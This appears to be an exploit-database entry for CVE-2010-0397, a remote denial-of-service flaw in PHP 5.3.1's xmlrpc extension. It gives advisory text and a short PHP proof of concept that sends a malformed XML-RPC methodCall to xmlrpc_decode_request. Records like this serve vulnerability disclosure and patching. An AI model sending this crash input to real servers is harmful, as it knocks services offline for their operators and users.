PHP 5.3.2 'xmlrpc' Extension - Multiple Remote Denial of Service Vulnerabilities

Author: Auke van Slooten
type: dos
platform: php
port: 
date_added: 2010-03-12 
date_updated: 2014-06-14 
verified: 1 
codes: CVE-2010-0397;OSVDB-63078 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/38708/info

PHP's xmlrpc extension library is prone to multiple denial-of-service vulnerabilities because it fails to properly handle crafted XML-RPC requests.

Exploiting these issues allows remote attackers to cause denial-of-service conditions in the context of an application using the vulnerable library.

PHP 5.3.1 is vulnerable; other versions may also be affected.

<?php
$req = '<?xml version="1.0"?>
<methodCall>
   </methodCall>';
    $result = xmlrpc_decode_request( $req, $frop );
?>